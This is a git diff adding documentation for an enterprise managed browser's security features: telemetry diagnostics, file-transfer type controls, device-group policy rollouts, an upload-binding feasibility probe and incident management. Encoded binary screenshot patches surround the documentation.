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 literal 0 HcmV?d00001 diff --git a/docs/browser-diagnostics.md b/docs/browser-diagnostics.md new file mode 100644 index 0000000..5d6c902 --- /dev/null +++ b/docs/browser-diagnostics.md @@ -0,0 +1,51 @@ +# Browser diagnostics and operational OpenTelemetry + +Browser diagnostics use the actual OpenTelemetry JavaScript trace and log SDKs, exported as OTLP/HTTP JSON to a collector selected in signed company policy. They are distinct from durable security audit and encrypted forensic evidence. This module never sends document fragments, prompts, page text, password fields, access tokens, URLs or generic exception messages to the collector. + +## Central configuration + +`policy.diagnostics` is strict, signed and disabled by default. Only an administrator's normal policy publication workflow can enable, reconfigure or disable it. Endpoint, sampling and resource bounds cannot be changed through website JavaScript or renderer preferences. + +Example: + +```json +{ + "enabled": true, + "mode": "debug", + "endpoint": "http://127.0.0.1:4318", + "sampleRate": 0.1, + "debugSampleRate": 1, + "maxQueueSize": 512, + "flushIntervalMs": 2000, + "maxRecordAgeMs": 30000, + "exportTimeoutMs": 2000 +} +``` + +Operational mode uses `sampleRate`; debug mode uses `debugSampleRate`. Sampling 1 records every eligible operation within resource limits. Debug does not authorize raw content collection. Queue size is 16–4096 records per signal, export batches at most 128, concurrent active spans at most 128. Records expire after the configured age; exporter requests time out. Excess data is dropped rather than delaying or bypassing a security decision. Frequent configuration changes cannot accumulate unlimited retired SDK generations. + +Collectors require HTTPS, or HTTP to a numeric loopback address for a local collector. URL user information, query parameters and fragments are rejected. There is no environment-selected endpoint or cloud fallback. HTTPS certificate validation is explicitly enabled. Ambient `OTEL_*` headers and resource attributes are excluded; telemetry contains neither environment credentials nor process command lines, hostnames or OS usernames. Redirect responses fail instead of forwarding telemetry to another destination. + +A local collector is the preferred enterprise transport boundary: it can handle customer authentication, mutual TLS, proxy routing, SIEM distribution and retention. Browser OTLP uses Node's controlled HTTP transport, outside website requests. Direct exporter support for enterprise proxy credentials and customer certificate provisioning is not yet implemented. + +## Recorded timing and correlation + +The privileged browser instruments fixed operation families: IPC, local agent actions, management requests, navigation, DNS, outbound requests, local and enterprise inspection, download, clipboard, visual login checks, password fill, AI, network posture, tab and policy operations. Every recorded span has start/end timestamps and measured duration in milliseconds. Nested operations share trace IDs and parent span IDs through an isolated async context. Related diagnostic log records carry the same correlation identifiers. Durable security events may attach these identifiers without attaching content. + +Attributes are explicitly typed and allowlisted: registered operation/component enums, UUID session/device IDs, policy version, bounded byte/count fields, duration, decision, request type and status. Failure spans receive a status and a fixed exception category (`Error`, `TypeError` or `RangeError`), never an exception message or stack. Arbitrary operation names are not recorded. Returned model answers, credential values and inspected content are never inferred as diagnostic attributes. + +Detailed timing within Python parsing, OCR, YARA or model inference is not yet exported as its own child spans; the browser records the local-inspector call boundary. Renderer paint/layout and Chromium internal tracing are also separate future work. This is explicit application instrumentation, not a claim to trace every Chromium function. + +## Lifecycle and security behavior + +Only verified policy configures the provider. Reconfiguration immediately invalidates the old generation, drops queued old records and closes old exporter sockets. Disabling prevents future exporter requests and retries. Bytes already delivered cannot be recalled. Device revocation and expired policy disable diagnostics. A security block under otherwise valid policy can still be observed. + +Export failure never repeats the protected operation, changes its result or authorizes blocked data. Successful and failing functions retain their original results/errors. Normal shutdown attempts a bounded flush; diagnostics are intentionally nondurable and can be lost in a crash. Durable audit and forensic evidence require their separate pipelines. + +## Verification + +`node --test tests/diagnostics.test.mjs` exercises a real local OTLP receiver: parent/child traces, measured durations, correlated logs, typed attributes, password/token/URL/error sentinels absent, environment headers/resources excluded, disable/reconfigure queue invalidation, expiry, bounded batches and failed export without operation retry. + +`node scripts/native-tabs-smoke.mjs` additionally runs the actual production Electron main process with a signed debug policy and a separate local collector. It verifies native IPC/navigation/DNS/request timing, parent/child IDs and correlated logs, preserves the existing all-tab DLP assertions, and checks that centrally revoking the browser stops subsequent diagnostic exports. Evidence is written to `artifacts/native-browser-diagnostics-proof.json` alongside the native tab proof. + +Passwords and access tokens must remain excluded from any future forensic store as well. Selective confidential evidence, encryption, access control and retention are handled independently; enabling operational diagnostics does not enable forensic content retention. diff --git a/docs/file-transfer-controls.md b/docs/file-transfer-controls.md new file mode 100644 index 0000000..7621ad7 --- /dev/null +++ b/docs/file-transfer-controls.md @@ -0,0 +1,11 @@ +# Native transfer type controls + +`fileTransfers.upload` and `fileTransfers.download` independently configure `maxBytes`, `allowTypes`, `blockedTypes`, `blockUnknown`, `blockExtensionMismatch`, `blockMimeMismatch`, and `allowWithoutMalwareScanner` in the signed managed policy. Types are `pe`, `elf`, `macho`, `pdf`, `zip`, `png`, `jpeg`, `gif`, `webp`, `gzip`, `text`, and `unknown`. A blocked type always takes precedence over an allowlist. Empty allowlists do not restrict types. Unknown and mismatch blocks are explicit options to accommodate enterprise compatibility requirements. + +Classification reads actual bounded bytes, never trusts the filename or declared MIME type. Text recognition checks the entire UTF-8 payload for binary control bytes. MZ-family files are identified even if their PE headers are truncated. ZIP and Office OOXML share a container signature; this classifier does not distinguish document subtypes, recursively inspect archive members, prove a media decoder accepts the file, or detect every polyglot. Document extraction, YARA and ICAP remain separate inspection layers. A magic allow verdict is not a security verdict. + +Downloads classify the complete bounded memory buffer before antivirus inspection, file-picker display or destination write. Their released digest remains bound to the exact scanned bytes. Supported document/media signatures additionally require complete contained local DLP extraction; semantic scanning applies when configured. Executable and unknown content may have antivirus coverage without document extraction coverage; configure blocked types or `blockUnknown` for stricter profiles. + +Each enabled malware scanner remains mandatory. YARA can be disabled independently while selected-channel ICAP is enabled. Disabling both does not silently bypass the download gate: an administrator must explicitly set `allowWithoutMalwareScanner: true`, and complete local DLP is still mandatory. This flag cannot override an enabled scanner's outage or failure. + +The helper returns sanitized filename, claimed MIME, detected type, byte count and SHA-256 for protected evidence. Ordinary download audit events carry only bounded byte count, detected type and SHA-256. Native file/data-pipe upload release remains blocked until immutable scanning and transport binding can be proved. Classification of a multipart request envelope does not prove classification of its individual attachments. diff --git a/docs/group-policy-rollout.md b/docs/group-policy-rollout.md new file mode 100644 index 0000000..4dbec1d --- /dev/null +++ b/docs/group-policy-rollout.md @@ -0,0 +1,24 @@ +# Device groups and reviewed rollouts + +The company policy is the mandatory baseline. Device groups can add blocked hosts, blocked content, company bookmarks, hidden/locked settings and mandatory document analysis; they can disable downloads, AI and local agents. Groups cannot turn off baseline controls, replace a block list or enable a feature denied by the company policy. + +An administrator selects explicit device members. A pilot or expanded rollout selects a nonempty subset of those members; an all-members rollout applies to every selected member. There is no time-based or automatic promotion. Adding members, editing restrictions, changing the cohort and deleting a group are reviewed publication operations. When independent approval is required, the author cannot approve their own operation; the approved hash binds the complete group payload and the expected global generation. + +Every publication increases the shared policy version. Each device receives a signed policy with its device ID and effective group IDs; Chromium enforcement, the AI gateway and bookmark mutation endpoints all use that effective policy. Conflict resolution is deterministic: groups are applied in ID order, block/section lists are unions and disabling controls win. Different definitions of the same company bookmark ID cause publication to fail. Group bookmarks cannot collide with the selected devices' personal bookmarks. Oversized merged policies also fail publication. + +Policy history stores group configuration at each published generation. Restoring a historical version restores its cohorts and restrictions as a new, reviewed generation; it does not roll device versions backwards. History predating group snapshots is refused when restoring it could silently discard active groups. + +## API + +- `GET /api/admin/policy-groups`: current version, groups and per-device membership/effective-group/version reports. +- `PUT /api/admin/policy-groups/:id`: `{expectedVersion,group}` where the group contains `id`, `name`, `memberDeviceIds`, `restrictions` and `rollout:{stage,deviceIds}`. +- `DELETE /api/admin/policy-groups/:id`: `{expectedVersion}`. +- `POST /api/admin/policy-groups/preview`: `{deviceId,group?}`; returns the resulting policy, group IDs, baseline diff and current-policy diff without publishing. + +Publication and deletion require policy-write authority, or policy-prepare authority when mandatory independent review is enabled. Read and preview require policy-read authority. `202` means queued for review, not applied. Version conflicts return `409`. + +## Verification and boundaries + +`tests/policy-groups.test.mjs` checks signed pilot/control behavior, promotion, removal, restrictive merge order, review/self-approval/revoked-device failures, permissions, preview, bookmark conflicts, historical restoration and actual gateway/bookmark endpoint enforcement. + +Acknowledgment is a device's reported policy version equal to the target version. It is not remote attestation and does not prove endpoint health. The last-seen timestamp is displayed separately. Membership currently uses explicitly enrolled device IDs; dynamic IdP/SCIM department membership, percentage rings, automatic health gates and tenant isolation require further implementation. diff --git a/docs/immutable-upload-feasibility.md b/docs/immutable-upload-feasibility.md new file mode 100644 index 0000000..fee480d --- /dev/null +++ b/docs/immutable-upload-feasibility.md @@ -0,0 +1,32 @@ +# Immutable native upload binding: Electron 44.7 feasibility + +This proof is **not a production upload implementation**. Existing managed browser file/data-pipe upload rejection must remain in place. + +Run `node scripts/immutable-upload-probe.cjs`. It launches a finite, hidden, CPU-rendered, sandboxed Electron fixture against a loopback HTTP receiver. No managed browser configuration, actual credentials, OS clipboard, or website code is changed. The fixture uses a real HTML file input populated through test-only native CDP, then submits Chromium-generated multipart FormData. + +## Evidence + +`artifacts/immutable-upload-probe.json` records: + +- `requestBodyAvailable: true`: `session.protocol.handle('http')` exposes the real multipart file stream through `Request.arrayBuffer()`. +- `mutatedAfterSnapshot: true`: the disk fixture is replaced after body capture and before forwarding. +- `exactBytes: true`: receiver SHA-256 equals inspected snapshot SHA-256; receiver contains the original bytes and excludes the replacement bytes. +- `credentialsPreserved: false`: both renderer `credentials: 'include'` and `credentials: 'omit'` become protocol requests reporting `credentials: 'same-origin'`, with no Cookie header. Forwarding through the same session attaches its synthetic session cookie to both. The original credential choice cannot be inferred from these fields. +- `redirectDenied: true`: forwarding with `redirect: 'error'` denies a 307 and never reaches the redirect destination. Transparent redirect compatibility is therefore not established. + +The cookie behavior is a security blocker for a transparent HTTP(S) protocol bridge. The proof deliberately asserts this limitation rather than presenting a passing byte comparison as sufficient approval to ship. + +## Compatibility and security boundaries + +Electron documents that protocol requests include a trusted `initiatorOrigin`. This establishes the requesting origin; it does not recover the original Fetch credential mode, top-level site cookie context, authenticated request semantics, redirect chain, or full request policy context. + +CORS preservation has **not been demonstrated**. Browser preflight handling, credential-dependent `Access-Control-Allow-Origin` rules, opaque responses, response URL/type, frame/site cookie partitioning, authentication challenges, and service-worker paths require separate receiver-based tests and implementation support. They must not be inferred from same-origin multipart success. Electron explicitly documents incorrect response `.type` and `.url` for `session.fetch`, and says bypassing custom protocols still invokes `webRequest` handlers. Consequently an integration also needs safe request identity and recursion handling; a broad trusted forwarding bypass would weaken existing enforcement. + +The anonymous-only fallback was not implemented. A deployable solution must preserve original Chromium request semantics and bind the scanner decision to immutable bytes, destination, policy version, identity, and request context. Native Chromium interception or a verified native network integration remains required before file/data-pipe upload support can be enabled. + +## Primary references + +- [Electron protocol.handle documentation](https://www.electronjs.org/docs/latest/api/protocol#protocolhandlescheme-handler): protocol request body and trusted initiator origin. +- [Electron session.fetch documentation](https://www.electronjs.org/docs/latest/api/session#sesfetchinput-init): Chromium network stack, response limitations, custom-protocol bypass and continuing webRequest callbacks. + +This test concerns one in-memory multipart upload. It does not prove full DLP coverage for streaming, WebSockets, WebRTC, browser uploads, or downloads. diff --git a/docs/incident-management.md b/docs/incident-management.md new file mode 100644 index 0000000..eede672 --- /dev/null +++ b/docs/incident-management.md @@ -0,0 +1,18 @@ +# Incident management + +The central HTTPS admin console provides a case workflow alongside the immutable security event stream. Administrators and operators can create one case per existing event, assign a subject identifier, set severity, investigate, resolve, dismiss or reopen. Auditors can read cases and their history but cannot mutate them. Unknown methods, including deletion, are denied by the central permission middleware. + +Endpoints: +- `GET /api/admin/incidents`: bounded descending pagination (`limit` 1–100, `before` numeric case cursor), optional status and severity filters. +- `POST /api/admin/incidents`: `{eventId, severity?}`; returns a stable UUID and revision 1. Missing events return 404, duplicate event references return 409. Case audit events cannot recursively create cases. +- `GET /api/admin/incidents/:id`: current metadata and bounded immutable history. +- `PATCH /api/admin/incidents/:id`: `{expectedRevision, status?, severity?, assignee?, comment?}`. Stale revisions return 409; clients must refresh and deliberately reapply their changes. + +Allowed statuses are `open`, `investigating`, `resolved`, `dismissed`; severities `low`, `medium`, `high`, `critical`. Assignments are explicit SSO subject identifiers, not a verified directory picker; all control characters are forbidden. Empty assignments use null. Analyst notes are limited to 1,000 characters and reject control characters. A case is limited to 1,000 history entries; further edits fail closed rather than truncating evidence. + +Cases reference existing events without copying document or prompt contents. Their source event view allowlists decision, rule, policy version, destination host, severity, source reference, content type, classification and coverage metadata. Arbitrary event payload fields are excluded. Every successful mutation atomically updates the compare-and-swap revision, appends an immutable history entry and records an audit event. Analyst notes remain in the restricted case history; ordinary security events, ECS/CEF and telemetry receive only their character count. Hashes of notes are deliberately excluded because predictable text could be guessed. Notes must contain investigation summaries, not document excerpts, prompts, credentials or secrets; free text cannot automatically guarantee this constraint. + +Initial audit retention preserves every incident source event, including resolved cases. There is no case deletion, case expiry, automatic case generation, notifications, external ticket integration, evidence attachment storage or directory synchronization. These require separate deployment policy and implementation. The current SQLite administration database needs a protected service account, backups, explicit access permissions and deployment retention arrangements. + +Evidence: `node --test tests/incidents.test.mjs` exercises real HTTP routes, role separation, bounded metadata/notes, immutable source events, duplicate rejection, optimistic concurrency, reopening, filters and pagination. + diff --git a/docs/media/screenshots/README.md b/docs/media/screenshots/README.md new file mode 100644 index 0000000..43c3b4b --- /dev/null +++ b/docs/media/screenshots/README.md @@ -0,0 +1,8 @@ +# Screenshot provenance + +These images contain synthetic fixtures only. They do not contain employee browsing, company documents, authentication tokens or production device inventory. + +- browser-light.png and browser-dark.png: captured from the real trusted shell by `npm run preview:ui`, using isolated showcase state. They demonstrate appearance rather than real website enforcement. +- admin-profiles.png: captured by `scripts/profiles-admin-smoke.cjs` during the real custom-profile management workflow against a temporary synthetic management service. + +The browser footer was refreshed to reflect independent native tab contexts. Regenerate browser captures with `npm run preview:ui`; inspect the output before copying it here. Never copy production screenshots without reviewing their visible content. diff --git a/docs/media/screenshots/admin-profiles.png b/docs/media/screenshots/admin-profiles.png new file mode 100644 index 0000000000000000000000000000000000000000..60f796c58fbcc6a5d3d96014e52596cbc8ab738d GIT binary patch literal 84784 zcmXtfWmsEH*ELdHYFKf1Deh9F#VNtv-QA%`ad&qq8r%W|Eydm4-CYvC+|PHt=TA<4 zvsW62&-P}t{Q42HJ&#l%e2w>UG+uUYAvM2+xS3IT# z@3dW~LOWcKCzn0w?%O>SgLyj5CaR)uW5`5Lw+vbi7SrylwLJH`OS4F`54MjgqdlLy zOUI&e2_FwFnuwa28-?2Vmvq4CDM=|yCaWWga%D|vs1zX|#4B)+gTL`1oczueA}(1}CQnxFpN;(H7~cX3%%K*SZc~Yz z)=*StWK5-3WVJtEZz6Id_7t+7+v5y7<_528|LXt`>zcMK5sO@k*dhtpNj3%r2U9gR z3S4~xBqJ<_pC1`m?2h6t`2KG&YawGXoljfZ6hGlU18UM)q*GFavJSS(P(-d7Y@6$K zP9sHKEEm`=Xa*(2+z&VQVh@Nhv7M_}^1$(U0RH1MU9)zH9qk-M;Ymp-$8Nlv$FEG5#-2$T8DT^MjeLU+SECsJv+ReDviz9F0e& zEp{eIuqF*Qr>rp@kSyJDf3jV>$i4ig zLY$+gc&^`a^TNxa@>yIEdz9U*;+THAd@lcK3heLb?sUNoZQ4{9cKo@k$(rk*^jbg`7mxdM?PCHStzLvdXHd6w*s8v) z@-7S=GJX_?E!Zp^^+^K1SD#}H#Jzhyb?{qwoxE8O*Y|g?I zY*wuful}Xbc|c1449rE+Ws9!6Zx&;uASmlVj&LHi-5eODFsFj zwbLnv|Ltg`5*~qS@p(gZL-FD4L>U9nbAqv{QM0QTNW=Hn*yiD^)vigC#7g#)MZ=<* zSF%NFa3JlPgVWvhpn93pU~;QVD)HVgFMB$CkGJ?zP=J@{i>!81O`o2SZ(ZNiQq#8; zf7aZt9y{-x^#{RsJb({q&+|5kpFH+~6L}7Tmd;{*^UgssY2(zoeCsydo!{S+1-vIS zr90Txcx&&jy&tbRukF&8iItP#3%KvzpB*{KFOkapFnT28WG@1b)%VhaNi<#h5O^0Q z#gG!CR%SIQpdiT456ZWtqgu#UovgXUv|2&QrLcQ}fbPQ5O+cL|Jb-36;<`Z(koP0^ zgPSZuS0+Au5S1)pY*z>K)Szq2oF615J$$PB8#^f4#c6IyZk5QIg%?Cm?pk zBXx0hKjU{FZ==$AZ>M`dL1u6taA>0TE1OxRnLz@o1=LE@$$fh|G}y3vyzDVwv;U3R zl_{mz3=f#D$4-qot>*-$yEtziay%cE3fm_^-q#pxo4O`odMP`*xX{QE;KnMlVyAN5 zG_v>N+~V-@9lOTSgR@(w#y)3NhB^F9x<7b(T1n2pTPzOF(qM`B01KGn;UeN#JUgza 